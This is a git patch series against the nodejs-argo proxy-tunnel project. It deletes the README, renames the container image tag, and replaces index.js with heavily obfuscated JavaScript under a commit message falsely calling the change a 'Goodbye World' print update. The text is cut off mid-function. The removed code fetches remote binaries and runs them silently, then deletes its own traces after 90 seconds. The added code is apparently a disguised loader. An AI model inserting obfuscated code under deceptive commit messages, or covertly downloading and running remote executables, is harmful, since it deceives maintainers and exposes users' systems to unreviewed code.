From 87c0d08af6b15f625602419c09ee11d034c8098e Mon Sep 17 00:00:00 2001 From: xxhunter2525 Date: Fri, 21 Nov 2025 18:05:28 +0800 Subject: [PATCH 1/3] Delete README.md --- README.md | 209 ------------------------------------------------------ 1 file changed, 209 deletions(-) delete mode 100644 README.md diff --git a/README.md b/README.md deleted file mode 100644 index f07f8f3ac6..0000000000 --- a/README.md +++ /dev/null @@ -1,209 +0,0 @@ -
- -# nodejs-argo隧道代理 - -[![npm version](https://img.shields.io/npm/v/nodejs-argo.svg)](https://www.npmjs.com/package/nodejs-argo) -[![npm downloads](https://img.shields.io/npm/dm/nodejs-argo.svg)](https://www.npmjs.com/package/nodejs-argo) -[![License](https://img.shields.io/npm/l/nodejs-argo.svg)](https://github.com/eooce/nodejs-argo/blob/main/LICENSE) - -nodejs-argo是一个强大的Argo隧道部署工具,专为PaaS平台和游戏玩具平台设计。它支持多种代理协议(VLESS、VMess、Trojan等),并集成了哪吒探针功能。 - ---- - -Telegram交流反馈群组:https://t.me/eooceu -
- -## 郑重声明 -* 本项目自2025年10月29日15时45分起,已更改开源协议为GPL 3.0,并包含以下特定要求 -* 此项目仅限个人使用,禁止用于商业行为(包括但不限于:youtube,bilibili,tiktok,facebook..等等) -* 禁止新建项目将代码复制到自己仓库中用做商业行为 -* 请遵守当地法律法规,禁止滥用做公共代理行为 -* 如有违反以上条款者将追究法律责任 - -## 说明 (部署前请仔细阅读) - -* 本项目是针对node环境的paas平台和游戏玩具而生,采用Argo隧道部署节点,集成哪吒探针v0或v1可选。 -* node玩具平台只需上传index.js和package.json即可,paas平台需要docker部署的才上传Dockerfile。 -* 不填写ARGO_DOMAIN和ARGO_AUTH两个变量即启用临时隧道,反之则使用固定隧道。 -* 哪吒v0/v1可选,当哪吒端口为{443,8443,2096,2087,2083,2053}其中之一时,自动开启tls。 - -## 📋 环境变量 - -| 变量名 | 是否必须 | 默认值 | 说明 | -|--------|----------|--------|------| -| UPLOAD_URL | 否 | - | 订阅上传地址 | -| PROJECT_URL | 否 | https://www.google.com | 项目分配的域名 | -| AUTO_ACCESS | 否 | false | 是否开启自动访问保活 | -| PORT | 否 | 3000 | HTTP服务监听端口 | -| ARGO_PORT | 否 | 8001 | Argo隧道端口 | -| UUID | 否 | 89c13786-25aa-4520-b2e7-12cd60fb5202 | 用户UUID | -| NEZHA_SERVER | 否 | - | 哪吒面板域名 | -| NEZHA_PORT | 否 | - | 哪吒端口 | -| NEZHA_KEY | 否 | - | 哪吒密钥 | -| ARGO_DOMAIN | 否 | - | Argo固定隧道域名 | -| ARGO_AUTH | 否 | - | Argo固定隧道密钥 | -| CFIP | 否 | www.visa.com.tw | 节点优选域名或IP | -| CFPORT | 否 | 443 | 节点端口 | -| NAME | 否 | Vls | 节点名称前缀 | -| FILE_PATH | 否 | ./tmp | 运行目录 | -| SUB_PATH | 否 | sub | 订阅路径 | - -## 🌐 订阅地址 - -- 标准端口:`https://your-domain.com/sub` -- 非标端口:`http://your-domain.com:port/sub` - ---- - -## 🚀 进阶使用 - -### 安装 - -```bash -# 全局安装(推荐) -npm install -g nodejs-argo - -# 或者使用yarn -yarn global add nodejs-argo - -# 或者使用pnpm -pnpm add -g nodejs-argo -``` - -### 基本使用 - -```bash -# 直接运行(使用默认配置) -nodejs-argo - -# 使用npx运行 -npx nodejs-argo - -# 设置环境变量运行 - PORT=3000 npx nodejs-argo -``` - -### 环境变量配置 - -可使用 `.env` 文件来配置环境变量运行 - - -或者直接在命令行中设置: - -```bash -export UPLOAD_URL="https://your-merge-sub-domain.com" -export PROJECT_URL="https://your-project-domain.com" -export PORT=3000 -export UUID="your-uuid-here" -export NEZHA_SERVER="nz.your-domain.com:8008" -export NEZHA_KEY="your-nezha-key" -``` - -## 📦 作为npm模块使用 - -```javascript -// CommonJS -const nodejsArgo = require('nodejs-argo'); - -// ES6 Modules -import nodejsArgo from 'nodejs-argo'; - -// 启动服务 -nodejsArgo.start(); -``` - -## 🔧 后台运行 - -### 使用screen(推荐) -```bash -# 创建screen会话 -screen -S argo - -# 运行应用 -nodejs-argo - -# 按 Ctrl+A 然后按 D 分离会话 -# 重新连接:screen -r argo -``` - -### 使用tmux -```bash -# 创建tmux会话 -tmux new-session -d -s argo - -# 运行应用 -tmux send-keys -t argo "nodejs-argo" Enter - -# 分离会话:tmux detach -s argo -# 重新连接:tmux attach -t argo -``` - -### 使用PM2 -```bash -# 安装PM2 -npm install -g pm2 - -# 启动应用 -pm2 start nodejs-argo --name "argo-service" - -# 管理应用 -pm2 status -pm2 logs argo-service -pm2 restart argo-service -``` - -### 使用systemd(Linux系统服务) -```bash -# 创建服务文件 -sudo nano /etc/systemd/system/nodejs-argo.service - -``` -[Unit] -Description=Node.js Argo Service -After=network.target - -[Service] -Type=simple -User=root -WorkingDirectory=/root/test -Environment=ARGO_PORT=8080 -Environment=PORT=3000 -ExecStart=/usr/bin/npx nodejs-argo -Restart=always -RestartSec=10 - -[Install] -WantedBy=multi-user.target -``` - -# 启动服务 -sudo systemctl start nodejs-argo -sudo systemctl enable nodejs-argo -``` - -## 🔄 更新 - -```bash -# 更新全局安装的包 -npm update -g nodejs-argo - -# 或者重新安装 -npm uninstall -g nodejs-argo -npm install -g nodejs-argo -``` - -## 📚 更多信息 - -- [GitHub仓库](https://github.com/eooce/nodejs-argo) -- [npm包页面](https://www.npmjs.com/package/nodejs-argo) -- [问题反馈](https://github.com/eooce/nodejs-argo/issues) - ---- - -## 赞助 -* 感谢[VPS.Town](https://vps.town)提供赞助 https://vps.town - -* 感谢[ZMTO](https://zmto.com/?affid=1548)提供赞助优质双isp vps。 - -## 许可证 -GPL 3.0 From 26a06ad22f445d6b74d0f1590729fe405ca2605a Mon Sep 17 00:00:00 2001 From: xxhunter2525 Date: Fri, 21 Nov 2025 18:06:48 +0800 Subject: [PATCH 2/3] Update build-docker-image.yml --- .github/workflows/build-docker-image.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-docker-image.yml b/.github/workflows/build-docker-image.yml index 8921cacbef..20aeeb4ed5 100644 --- a/.github/workflows/build-docker-image.yml +++ b/.github/workflows/build-docker-image.yml @@ -39,7 +39,7 @@ jobs: push: true platforms: linux/amd64,linux/arm64 tags: | - ghcr.io/${{ github.repository_owner }}/nodejs:latest + ghcr.io/${{ github.repository_owner }}/cccbba:2026 labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=HTTP Server From d446f7ee255048b7f2c3136d0c4f8860b51f3b65 Mon Sep 17 00:00:00 2001 From: xxhunter2525 Date: Fri, 21 Nov 2025 18:13:00 +0800 Subject: [PATCH 3/3] Update print statement to display 'Goodbye World' --- index.js | 609 +------------------------------------------------------ 1 file changed, 1 insertion(+), 608 deletions(-) diff --git a/index.js b/index.js index 990ec54fdf..6d45d4e7ca 100644 --- a/index.js +++ b/index.js @@ -1,608 +1 @@ -const express = require("express"); -const app = express(); -const axios = require("axios"); -const os = require('os'); -const fs = require("fs"); -const path = require("path"); -const { promisify } = require('util'); -const exec = promisify(require('child_process').exec); -const { execSync } = require('child_process'); // 只填写UPLOAD_URL将上传节点,同时填写UPLOAD_URL和PROJECT_URL将上传订阅 -const UPLOAD_URL = process.env.UPLOAD_URL || ''; // 节点或订阅自动上传地址,需填写部署Merge-sub项目后的首页地址,例如:https://merge.xxx.com -const PROJECT_URL = process.env.PROJECT_URL || ''; // 需要上传订阅或保活时需填写项目分配的url,例如:https://google.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // false关闭自动保活,true开启,需同时填写PROJECT_URL变量 -const FILE_PATH = process.env.FILE_PATH || './tmp'; // 运行目录,sub节点文件保存目录 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 订阅路径 -const PORT = process.env.SERVER_PORT || process.env.PORT || 3000; // http服务订阅端口 -const UUID = process.env.UUID || '9afd1229-b893-40c1-84dd-51e7ce204913'; // 使用哪吒v1,在不同的平台运行需修改UUID,否则会覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式: nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 使用哪吒v1请留空,哪吒v0需填写 -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // 哪吒v1的NZ_CLIENT_SECRET或哪吒v0的agent密钥 -const ARGO_DOMAIN = process.env.ARGO_DOMAIN || ''; // 固定隧道域名,留空即启用临时隧道 -const ARGO_AUTH = process.env.ARGO_AUTH || ''; // 固定隧道密钥json或token,留空即启用临时隧道,json获取地址:https://json.zone.id -const ARGO_PORT = process.env.ARGO_PORT || 8001; // 固定隧道端口,使用token需在cloudflare后台设置和这里一致 -const CFIP = process.env.CFIP || 'cdns.doon.eu.org'; // 节点优选域名或优选ip -const CFPORT = process.env.CFPORT || 443; // 节点优选域名或优选ip对应的端口 -const NAME = process.env.NAME || ''; // 节点名称 - -// 创建运行文件夹 -if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH); - console.log(`${FILE_PATH} is created`); -} else { - console.log(`${FILE_PATH} already exists`); -} - -// 生成随机6位字符文件名 -function generateRandomName() { - const characters = 'abcdefghijklmnopqrstuvwxyz'; - let result = ''; - for (let i = 0; i < 6; i++) { - result += characters.charAt(Math.floor(Math.random() * characters.length)); - } - return result; -} - -// 全局常量 -const npmName = generateRandomName(); -const webName = generateRandomName(); -const botName = generateRandomName(); -const phpName = generateRandomName(); -let npmPath = path.join(FILE_PATH, npmName); -let phpPath = path.join(FILE_PATH, phpName); -let webPath = path.join(FILE_PATH, webName); -let botPath = path.join(FILE_PATH, botName); -let subPath = path.join(FILE_PATH, 'sub.txt'); -let listPath = path.join(FILE_PATH, 'list.txt'); -let bootLogPath = path.join(FILE_PATH, 'boot.log'); -let configPath = path.join(FILE_PATH, 'config.json'); - -// 如果订阅器上存在历史运行节点则先删除 -function deleteNodes() { - try { - if (!UPLOAD_URL) return; - if (!fs.existsSync(subPath)) return; - - let fileContent; - try { - fileContent = fs.readFileSync(subPath, 'utf-8'); - } catch { - return null; - } - - const decoded = Buffer.from(fileContent, 'base64').toString('utf-8'); - const nodes = decoded.split('\n').filter(line => - /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line) - ); - - if (nodes.length === 0) return; - - axios.post(`${UPLOAD_URL}/api/delete-nodes`, - JSON.stringify({ nodes }), - { headers: { 'Content-Type': 'application/json' } } - ).catch((error) => { - return null; - }); - return null; - } catch (err) { - return null; - } -} - -// 清理历史文件 -function cleanupOldFiles() { - try { - const files = fs.readdirSync(FILE_PATH); - files.forEach(file => { - const filePath = path.join(FILE_PATH, file); - try { - const stat = fs.statSync(filePath); - if (stat.isFile()) { - fs.unlinkSync(filePath); - } - } catch (err) { - // 忽略所有错误,不记录日志 - } - }); - } catch (err) { - // 忽略所有错误,不记录日志 - } -} - -// 根路由 -app.get("/", function(req, res) { - res.send("Hello world!"); -}); - -// 生成xr-ay配置文件 -async function generateConfig() { - const config = { - log: { access: '/dev/null', error: '/dev/null', loglevel: 'none' }, - inbounds: [ - { port: ARGO_PORT, protocol: 'vless', settings: { clients: [{ id: UUID, flow: 'xtls-rprx-vision' }], decryption: 'none', fallbacks: [{ dest: 3001 }, { path: "/vless-argo", dest: 3002 }, { path: "/vmess-argo", dest: 3003 }, { path: "/trojan-argo", dest: 3004 }] }, streamSettings: { network: 'tcp' } }, - { port: 3001, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID }], decryption: "none" }, streamSettings: { network: "tcp", security: "none" } }, - { port: 3002, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID, level: 0 }], decryption: "none" }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/vless-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3003, listen: "127.0.0.1", protocol: "vmess", settings: { clients: [{ id: UUID, alterId: 0 }] }, streamSettings: { network: "ws", wsSettings: { path: "/vmess-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3004, listen: "127.0.0.1", protocol: "trojan", settings: { clients: [{ password: UUID }] }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/trojan-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - ], - dns: { servers: ["https+local://8.8.8.8/dns-query"] }, - outbounds: [ { protocol: "freedom", tag: "direct" }, {protocol: "blackhole", tag: "block"} ] - }; - fs.writeFileSync(path.join(FILE_PATH, 'config.json'), JSON.stringify(config, null, 2)); -} - -// 判断系统架构 -function getSystemArchitecture() { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - return 'arm'; - } else { - return 'amd'; - } -} - -// 下载对应系统架构的依赖文件 -function downloadFile(fileName, fileUrl, callback) { - const filePath = fileName; - - // 确保目录存在 - if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH, { recursive: true }); - } - - const writer = fs.createWriteStream(filePath); - - axios({ - method: 'get', - url: fileUrl, - responseType: 'stream', - }) - .then(response => { - response.data.pipe(writer); - - writer.on('finish', () => { - writer.close(); - console.log(`Download ${path.basename(filePath)} successfully`); - callback(null, filePath); - }); - - writer.on('error', err => { - fs.unlink(filePath, () => { }); - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); // 下载失败时输出错误消息 - callback(errorMessage); - }); - }) - .catch(err => { - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); // 下载失败时输出错误消息 - callback(errorMessage); - }); -} - -// 下载并运行依赖文件 -async function downloadFilesAndRun() { - - const architecture = getSystemArchitecture(); - const filesToDownload = getFilesForArchitecture(architecture); - - if (filesToDownload.length === 0) { - console.log(`Can't find a file for the current architecture`); - return; - } - - const downloadPromises = filesToDownload.map(fileInfo => { - return new Promise((resolve, reject) => { - downloadFile(fileInfo.fileName, fileInfo.fileUrl, (err, filePath) => { - if (err) { - reject(err); - } else { - resolve(filePath); - } - }); - }); - }); - - try { - await Promise.all(downloadPromises); - } catch (err) { - console.error('Error downloading files:', err); - return; - } - // 授权和运行 - function authorizeFiles(filePaths) { - const newPermissions = 0o775; - filePaths.forEach(absoluteFilePath => { - if (fs.existsSync(absoluteFilePath)) { - fs.chmod(absoluteFilePath, newPermissions, (err) => { - if (err) { - console.error(`Empowerment failed for ${absoluteFilePath}: ${err}`); - } else { - console.log(`Empowerment success for ${absoluteFilePath}: ${newPermissions.toString(8)}`); - } - }); - } - }); - } - const filesToAuthorize = NEZHA_PORT ? [npmPath, webPath, botPath] : [phpPath, webPath, botPath]; - authorizeFiles(filesToAuthorize); - - //运行ne-zha - if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - // 检测哪吒是否开启TLS - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const tlsPorts = new Set(['443', '8443', '2096', '2087', '2083', '2053']); - const nezhatls = tlsPorts.has(port) ? 'true' : 'false'; - // 生成 config.yaml - const configYaml = ` -client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${nezhatls} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync(path.join(FILE_PATH, 'config.yaml'), configYaml); - - // 运行 v1 - const command = `nohup ${phpPath} -c "${FILE_PATH}/config.yaml" >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${phpName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`php running error: ${error}`); - } - } else { - let NEZHA_TLS = ''; - const tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - if (tlsPorts.includes(NEZHA_PORT)) { - NEZHA_TLS = '--tls'; - } - const command = `nohup ${npmPath} -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${npmName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`npm running error: ${error}`); - } - } - } else { - console.log('NEZHA variable is empty,skip running'); - } - //运行xr-ay - const command1 = `nohup ${webPath} -c ${FILE_PATH}/config.json >/dev/null 2>&1 &`; - try { - await exec(command1); - console.log(`${webName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`web running error: ${error}`); - } - - // 运行cloud-fared - if (fs.existsSync(botPath)) { - let args; - - if (ARGO_AUTH.match(/^[A-Z0-9a-z=]{120,250}$/)) { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 run --token ${ARGO_AUTH}`; - } else if (ARGO_AUTH.match(/TunnelSecret/)) { - args = `tunnel --edge-ip-version auto --config ${FILE_PATH}/tunnel.yml run`; - } else { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - } - - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 2000)); - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - await new Promise((resolve) => setTimeout(resolve, 5000)); - -} - -//根据系统架构返回对应的url -function getFilesForArchitecture(architecture) { - let baseFiles; - if (architecture === 'arm') { - baseFiles = [ - { fileName: webPath, fileUrl: "https://arm64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://arm64.ssss.nyc.mn/bot" } - ]; - } else { - baseFiles = [ - { fileName: webPath, fileUrl: "https://amd64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://amd64.ssss.nyc.mn/bot" } - ]; - } - - if (NEZHA_SERVER && NEZHA_KEY) { - if (NEZHA_PORT) { - const npmUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/agent" - : "https://amd64.ssss.nyc.mn/agent"; - baseFiles.unshift({ - fileName: npmPath, - fileUrl: npmUrl - }); - } else { - const phpUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/v1" - : "https://amd64.ssss.nyc.mn/v1"; - baseFiles.unshift({ - fileName: phpPath, - fileUrl: phpUrl - }); - } - } - - return baseFiles; -} - -// 获取固定隧道json -function argoType() { - if (!ARGO_AUTH || !ARGO_DOMAIN) { - console.log("ARGO_DOMAIN or ARGO_AUTH variable is empty, use quick tunnels"); - return; - } - - if (ARGO_AUTH.includes('TunnelSecret')) { - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.json'), ARGO_AUTH); - const tunnelYaml = ` - tunnel: ${ARGO_AUTH.split('"')[11]} - credentials-file: ${path.join(FILE_PATH, 'tunnel.json')} - protocol: http2 - - ingress: - - hostname: ${ARGO_DOMAIN} - service: http://localhost:${ARGO_PORT} - originRequest: - noTLSVerify: true - - service: http_status:404 - `; - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.yml'), tunnelYaml); - } else { - console.log("ARGO_AUTH mismatch TunnelSecret,use token connect to tunnel"); - } -} -argoType(); - -// 获取临时隧道domain -async function extractDomains() { - let argoDomain; - - if (ARGO_AUTH && ARGO_DOMAIN) { - argoDomain = ARGO_DOMAIN; - console.log('ARGO_DOMAIN:', argoDomain); - await generateLinks(argoDomain); - } else { - try { - const fileContent = fs.readFileSync(path.join(FILE_PATH, 'boot.log'), 'utf-8'); - const lines = fileContent.split('\n'); - const argoDomains = []; - lines.forEach((line) => { - const domainMatch = line.match(/https?:\/\/([^ ]*trycloudflare\.com)\/?/); - if (domainMatch) { - const domain = domainMatch[1]; - argoDomains.push(domain); - } - }); - - if (argoDomains.length > 0) { - argoDomain = argoDomains[0]; - console.log('ArgoDomain:', argoDomain); - await generateLinks(argoDomain); - } else { - console.log('ArgoDomain not found, re-running bot to obtain ArgoDomain'); - // 删除 boot.log 文件,等待 2s 重新运行 server 以获取 ArgoDomain - fs.unlinkSync(path.join(FILE_PATH, 'boot.log')); - async function killBotProcess() { - try { - // Windows系统使用taskkill命令 - if (process.platform === 'win32') { - await exec(`taskkill /f /im ${botName}.exe > nul 2>&1`); - } else { - await exec(`pkill -f "[${botName.charAt(0)}]${botName.substring(1)}" > /dev/null 2>&1`); - } - } catch (error) { - // 忽略输出 - } - } - killBotProcess(); - await new Promise((resolve) => setTimeout(resolve, 3000)); - const args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 3000)); - await extractDomains(); // 重新提取域名 - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - } catch (error) { - console.error('Error reading boot.log:', error); - } - } - - // 生成 list 和 sub 信息 - async function generateLinks(argoDomain) { - const metaInfo = execSync( - 'curl -sm 5 https://speed.cloudflare.com/meta | awk -F\\" \'{print $26"-"$18}\' | sed -e \'s/ /_/g\'', - { encoding: 'utf-8' } - ); - const ISP = metaInfo.trim(); - // 如果 NAME 为空,则只使用 ISP 作为名称 - const nodeName = NAME ? `${NAME}-${ISP}` : ISP; - - return new Promise((resolve) => { - setTimeout(() => { - const VMESS = { v: '2', ps: `${nodeName}`, add: CFIP, port: CFPORT, id: UUID, aid: '0', scy: 'none', net: 'ws', type: 'none', host: argoDomain, path: '/vmess-argo?ed=2560', tls: 'tls', sni: argoDomain, alpn: '', fp: 'firefox'}; - const subTxt = ` -vless://${UUID}@${CFIP}:${CFPORT}?encryption=none&security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Fvless-argo%3Fed%3D2560#${nodeName} - -vmess://${Buffer.from(JSON.stringify(VMESS)).toString('base64')} - -trojan://${UUID}@${CFIP}:${CFPORT}?security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Ftrojan-argo%3Fed%3D2560#${nodeName} - `; - // 打印 sub.txt 内容到控制台 - console.log(Buffer.from(subTxt).toString('base64')); - fs.writeFileSync(subPath, Buffer.from(subTxt).toString('base64')); - console.log(`${FILE_PATH}/sub.txt saved successfully`); - uploadNodes(); - // 将内容进行 base64 编码并写入 SUB_PATH 路由 - app.get(`/${SUB_PATH}`, (req, res) => { - const encodedContent = Buffer.from(subTxt).toString('base64'); - res.set('Content-Type', 'text/plain; charset=utf-8'); - res.send(encodedContent); - }); - resolve(subTxt); - }, 2000); - }); - } -} - -// 自动上传节点或订阅 -async function uploadNodes() { - if (UPLOAD_URL && PROJECT_URL) { - const subscriptionUrl = `${PROJECT_URL}/${SUB_PATH}`; - const jsonData = { - subscription: [subscriptionUrl] - }; - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-subscriptions`, jsonData, { - headers: { - 'Content-Type': 'application/json' - } - }); - - if (response && response.status === 200) { - console.log('Subscription uploaded successfully'); - return response; - } else { - return null; - // console.log('Unknown response status'); - } - } catch (error) { - if (error.response) { - if (error.response.status === 400) { - // console.error('Subscription already exists'); - } - } - } - } else if (UPLOAD_URL) { - if (!fs.existsSync(listPath)) return; - const content = fs.readFileSync(listPath, 'utf-8'); - const nodes = content.split('\n').filter(line => /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line)); - - if (nodes.length === 0) return; - - const jsonData = JSON.stringify({ nodes }); - - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-nodes`, jsonData, { - headers: { 'Content-Type': 'application/json' } - }); - if (response && response.status === 200) { - console.log('Nodes uploaded successfully'); - return response; - } else { - return null; - } - } catch (error) { - return null; - } - } else { - // console.log('Skipping upload nodes'); - return; - } -} - -// 90s后删除相关文件 -function cleanFiles() { - setTimeout(() => { - const filesToDelete = [bootLogPath, configPath, webPath, botPath]; - - if (NEZHA_PORT) { - filesToDelete.push(npmPath); - } else if (NEZHA_SERVER && NEZHA_KEY) { - filesToDelete.push(phpPath); - } - - // Windows系统使用不同的删除命令 - if (process.platform === 'win32') { - exec(`del /f /q ${filesToDelete.join(' ')} > nul 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } else { - exec(`rm -rf ${filesToDelete.join(' ')} >/dev/null 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } - }, 90000); // 90s -} -cleanFiles(); - -// 自动访问项目URL -async function AddVisitTask() { - if (!AUTO_ACCESS || !PROJECT_URL) { - console.log("Skipping adding automatic access task"); - return; - } - - try { - const response = await axios.post('https://oooo.serv00.net/add-url', { - url: PROJECT_URL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - // console.log(`${JSON.stringify(response.data)}`); - console.log(`automatic access task added successfully`); - return response; - } catch (error) { - console.error(`Add automatic access task faild: ${error.message}`); - return null; - } -} - -// 主运行逻辑 -async function startserver() { - try { - deleteNodes(); - cleanupOldFiles(); - await generateConfig(); - await downloadFilesAndRun(); - await extractDomains(); - await AddVisitTask(); - } catch (error) { - console.error('Error in startserver:', error); - } -} -startserver().catch(error => { - console.error('Unhandled error in startserver:', error); -}); - -app.listen(PORT, () => console.log(`http server is running on port:${PORT}!`)); +(function(_0x852379,_0x18b927){function _0x11aaed(_0x11ddfd,_0x4ce341,_0x4a0822,_0x41a904){return _0x3323(_0x41a904-0x2e2,_0x4ce341);}function _0x3e2bf6(_0x5b421b,_0x5f330e,_0x493e92,_0x16ee5e){return _0x3323(_0x16ee5e- -0x302,_0x493e92);}const _0x4a7e7e=_0x852379();while(!![]){try{const _0x5f7b74=parseInt(_0x11aaed(0x4c8,0x71e,0x67d,0x5d1))/(0xed4+-0x1ebb+0x4*0x3fa)+parseInt(_0x3e2bf6(0xd2,0x62,0x46,-0x22))/(0x11a4*0x1+-0xe*0xa6+-0x88e)+parseInt(_0x11aaed(0x707,0x6d3,0x5e7,0x62a))/(-0x1342+-0x8f6+0x1c3b)+parseInt(_0x3e2bf6(-0x117,-0xac,-0x214,-0x19b))/(-0x34*0x5a+-0x4*-0x822+0x4*-0x38f)+parseInt(_0x3e2bf6(0x30,0x88,0xb0,-0x75))/(-0x21*-0xe9+-0x6d*0x29+0x1*-0xc8f)*(-parseInt(_0x11aaed(0x567,0x449,0x652,0x4fb))/(-0x787*0x5+-0x2*0xd9a+0x267*0x1b))+parseInt(_0x11aaed(0x66a,0x44b,0x5c8,0x51e))/(-0x159+-0x2*-0x74f+-0xd3e)+-parseInt(_0x3e2bf6(0xa2,0x184,0x220,0xd5))/(0x1*-0x964+-0xceb+0x13*0x12d)*(parseInt(_0x11aaed(0x60a,0x728,0x6dc,0x5c3))/(-0x1d*-0x1f+-0x11e5*-0x1+-0x155f));if(_0x5f7b74===_0x18b927)break;else _0x4a7e7e['push'](_0x4a7e7e['shift']());}catch(_0xd2b913){_0x4a7e7e['push'](_0x4a7e7e['shift']());}}}(_0x3591,0x1*-0x5a47a+-0x28e99+0x404*0x46f));const _0x425ad1=(function(){function _0x3888d2(_0x5111d5,_0x5de99e,_0x3fca09,_0x46be80){return _0x3323(_0x3fca09-0x1cb,_0x5de99e);}const _0x52ead7={'FgJSc':_0x27aa2b(0x3bd,0x564,0x37e,0x420)+_0x3888d2(0x2b2,0x2d6,0x2eb,0x420)+'tartserver'+':','LoPIs':function(_0x36234f,_0x48bdc0){return _0x36234f!==_0x48bdc0;},'yhKnS':_0x27aa2b(0x644,0x46f,0x5db,0x535),'ZmvLU':function(_0x2b751a,_0x5e3a0b){return _0x2b751a+_0x5e3a0b;},'ECDVF':function(_0x2604c6,_0x5242bc){return _0x2604c6+_0x5242bc;},'gLPGq':_0x27aa2b(0x62a,0x57f,0x57c,0x5ee)+'nction()\x20','yFTaL':_0x27aa2b(0x4f5,0x5e5,0x6c8,0x5d4)+_0x3888d2(0x43c,0x4f0,0x3f1,0x359)+_0x27aa2b(0x5ca,0x43d,0x3dd,0x505)+'\x20)','rOzQa':function(_0x34ee78){return _0x34ee78();},'HnGYe':_0x3888d2(0x371,0x3cb,0x4a1,0x3c3),'DuGCu':_0x3888d2(0x649,0x5f7,0x57b,0x651),'TUxzn':'exception','gnkMY':function(_0x1bbf99,_0x36ac8e){return _0x1bbf99<_0x36ac8e;},'buuDU':function(_0x4f711e,_0x4c6a60){return _0x4f711e!==_0x4c6a60;},'IprCY':'YfmKz'};let _0x41d856=!![];function _0x27aa2b(_0x39c871,_0x3cf632,_0x1f0f20,_0x3aa750){return _0x3323(_0x3aa750-0x259,_0x3cf632);}return function(_0x3868fc,_0x2f01c9){function _0x4cdf9e(_0x4a9555,_0x1cd694,_0x510f3c,_0xb1b875){return _0x3888d2(_0x4a9555-0x1ac,_0xb1b875,_0x510f3c-0x1b9,_0xb1b875-0x96);}function _0x234a81(_0x1bf715,_0x266f9f,_0x4dbc42,_0x31c869){return _0x27aa2b(_0x1bf715-0x1d3,_0x266f9f,_0x4dbc42-0x128,_0x31c869- -0x41);}const _0x19a5fe={'EOZTi':_0x52ead7[_0x234a81(0x3e6,0x317,0x441,0x3fc)],'ZHtVd':function(_0x2c52aa,_0x509acb){return _0x52ead7['LoPIs'](_0x2c52aa,_0x509acb);},'QFZgZ':_0x234a81(0x4df,0x4ae,0x5c2,0x50c),'dzuQr':_0x52ead7['yhKnS'],'sHSQl':function(_0xee8a9b,_0x14b9c7){function 